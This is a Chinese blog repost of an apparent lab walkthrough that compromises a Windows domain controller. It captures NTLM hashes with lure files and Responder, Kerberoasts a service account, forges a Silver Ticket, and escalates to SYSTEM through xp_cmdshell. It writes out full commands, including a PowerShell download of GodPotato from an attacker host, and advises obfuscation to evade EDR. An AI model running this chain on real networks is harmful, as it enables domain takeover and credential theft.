利用NTLM中继与Kerberoasting攻破Windows域控制器

admin 2026-03-03 09:10:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细记录了一次针对Windows域控制器的渗透测试实战。攻击者利用SMB共享的Guest写权限投递诱饵文件,成功捕获并破解域用户NetNTLMv2哈希。随后通过BloodHound发现可Kerberoasting的服务账户,破解票据后伪造SilverTicket获取MSSQL高权限。最终利用GodPotato工具滥用SeImpersonatePrivilege特权提权至SYSTEM,并提供了详细的操作命令与注意事项。 综合评分: 87 文章分类: 渗透测试,内网渗透,红队,实战经验


cover_image

利用NTLM中继与Kerberoasting攻破Windows域控制器

柠檬赏金猎人

2026年2月15日 08:41 广东

概述

攻击路径始于利用SMB共享的Guest写权限,通过投递NTLMv2诱饵文件捕获域用户Julia.Wong的NetNTLMv2哈希。破解该哈希后,使用BloodHound进行域内枚举,发现可进行Kerberoasting的MSSQL服务账户svc_mssql。破解其TGS票据后,利用该服务账户的NTLM哈希伪造Silver Ticket,以Administrator身份获取MSSQL的sysadmin权限。随后启用xp_cmdshell,并利用GodPotato滥用SeImpersonatePrivilege特权,最终获得SYSTEM权限。

技术/功能

  • 信息收集:使用Nmap进行端口扫描,识别开放服务(SMB, HTTP, MSSQL, Kerberos等)。
  • SMB枚举:利用netexec(原CrackMapExec)进行用户枚举、RID爆破和共享发现。
  • NTLMv2哈希捕获:通过ntlm_theft生成多种诱饵文件,利用Responder捕获NetNTLMv2哈希。
  • 哈希破解:使用Hashcat配合rockyou.txt破解NetNTLMv2和Kerberos TGS哈希。
  • 域内枚举:通过RustHound-CE收集BloodHound数据,识别Kerberoastable用户。
  • Kerberoasting:利用netexec获取服务账户的TGS票据哈希。
  • Silver Ticket攻击:使用Impacket的ticketer伪造Kerberos服务票据,以Administrator身份访问MSSQL。
  • MSSQL提权:启用xp_cmdshell,执行系统命令。
  • 特权提升:利用GodPotato滥用SeImpersonatePrivilege,从svc_mssql提权至SYSTEM。

使用示例

1. 初始扫描与SMB枚举

sudo nmap -p- -vvv --min-rate 10000 10.129.10.28
netexec smb 10.129.10.28 --generate-hosts-file hosts
netexec smb BREACHDC.breach.vl -u guest -p '' --rid-brute
netexec smb BREACHDC.breach.vl -u guest -p '' --shares

2. 生成NTLM诱饵文件并捕获哈希

uv run ntlm_theft.py -g all -s  -f lure
smbclient //BREACHDC.breach.vl/share -U 'guest%'
# 上传lure目录下所有文件至可写共享
sudo uv run Responder.py -I tun0

3. 破解哈希与验证凭据

hashcat julia.wong.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
netexec&nbsp;smb&nbsp;BREACHDC.breach.vl&nbsp;-u&nbsp;Julia.Wong&nbsp;-p&nbsp;<PASSWORD>

4. 域内枚举与Kerberoasting

rusthound-ce&nbsp;--domain&nbsp;breach.vl&nbsp;-u&nbsp;Julia.Wong&nbsp;-p&nbsp;<PASSWORD>&nbsp;-z
netexec&nbsp;ldap&nbsp;BREACHDC.breach.vl&nbsp;-u&nbsp;Julia.Wong&nbsp;-p&nbsp;<PASSWORD>&nbsp;--kerberoast&nbsp;kerberoasting
hashcat&nbsp;./kerberoasting&nbsp;/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

5. Silver Ticket攻击与MSSQL访问

python3&nbsp;-c&nbsp;'import&nbsp;hashlib;&nbsp;print(hashlib.new("md4",&nbsp;"Trustno1".encode("utf-16le")).hexdigest())'
ticketer.py&nbsp;-nthash&nbsp;&nbsp;-domain-sid&nbsp;S-1-5-21-2330692793-3312915120-706255856&nbsp;-domain&nbsp;breach.vl&nbsp;-spn&nbsp;MSSQLSvc/breachdc.breach.vl:1433&nbsp;Administrator
KRB5CCNAME=Administrator.ccache&nbsp;mssqlclient.py&nbsp;-no-pass&nbsp;-k&nbsp;BREACHDC.breach.vl

6. 启用xp_cmdshell与执行GodPotato

--&nbsp;在MSSQL&nbsp;shell中执行
enable_xp_cmdshell
xp_cmdshell&nbsp;"powershell&nbsp;-c&nbsp;iwr&nbsp;http:///GodPotato-NET4.exe&nbsp;-outfile&nbsp;C:\programdata\gp.exe"
xp_cmdshell&nbsp;C:\programdata\gp.exe&nbsp;-cmd&nbsp;whoami
xp_cmdshell&nbsp;C:\programdata\gp.exe&nbsp;-cmd&nbsp;"powershell&nbsp;-e&nbsp;"

注意事项

  1. 时间同步:Kerberos认证要求攻击者与域控制器时间同步,需确保系统时间准确。
  2. 防火墙与杀毒软件:实际环境中可能遇到防火墙或EDR的拦截,需调整Payload或使用混淆技术。
  3. 权限限制:Guest账户的写权限可能受限,需根据实际情况选择诱饵文件类型。
  4. 哈希破解:依赖于密码字典强度,若密码不在字典中,需尝试其他破解方法或字典。
  5. Silver Ticket:需要服务账户的NTLM哈希和域SID,伪造的票据仅对特定服务有效。
  6. GodPotato:需在具有SeImpersonatePrivilege的上下文中执行,且可能受Windows版本影响。

参考链接

  • https://github.com/Greenwolf/ntlm_theft
  • https://github.com/lgandx/Responder
  • https://github.com/g0h4n/RustHound-CE
  • https://bloodhound.specterops.io/
  • https://github.com/BeichenDream/GodPotato
  • https://www.revshells.com/

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。如侵权请私聊公众号删文。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:柠檬赏金猎人 《利用NTLM中继与Kerberoasting攻破Windows域控制器》

评论:0   参与:  0